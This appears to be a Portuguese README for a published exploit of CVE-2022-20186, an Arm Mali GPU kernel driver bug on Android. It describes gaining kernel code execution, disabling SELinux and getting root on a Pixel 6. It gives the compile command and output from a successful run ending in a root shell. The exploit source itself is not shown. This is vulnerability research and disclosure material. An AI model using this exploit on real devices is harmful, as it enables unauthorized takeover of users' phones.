
Exploit para CVE-2022-20186 visando corrupção de memória do driver do kernel Arm Mali no Android. Obtém execução arbitrária de código no kernel, desativa o SELinux e escala para root no Pixel 6.
O artigo completo pode ser encontrado aqui. Este é um bug no driver de kernel Arm Mali que reportei em janeiro de 2022. O bug pode ser usado para obter execução arbitrária de código do kernel a partir do domínio de aplicativos não confiáveis, que é então usado para desabilitar o SELinux e obter root.
O exploit é testado no Google Pixel 6 e suporta níveis de patch de novembro de 2021 a fevereiro de 2022. É fácil adicionar suporte para outros firmwares alterando alguns offsets de imagem. Para referência, usei o seguinte comando para compilar com clang no ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
O exploit raramente falha e pode ser repetido sem travar o dispositivo. Se bem-sucedido, ele deve desabilitar o SELinux e obter root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #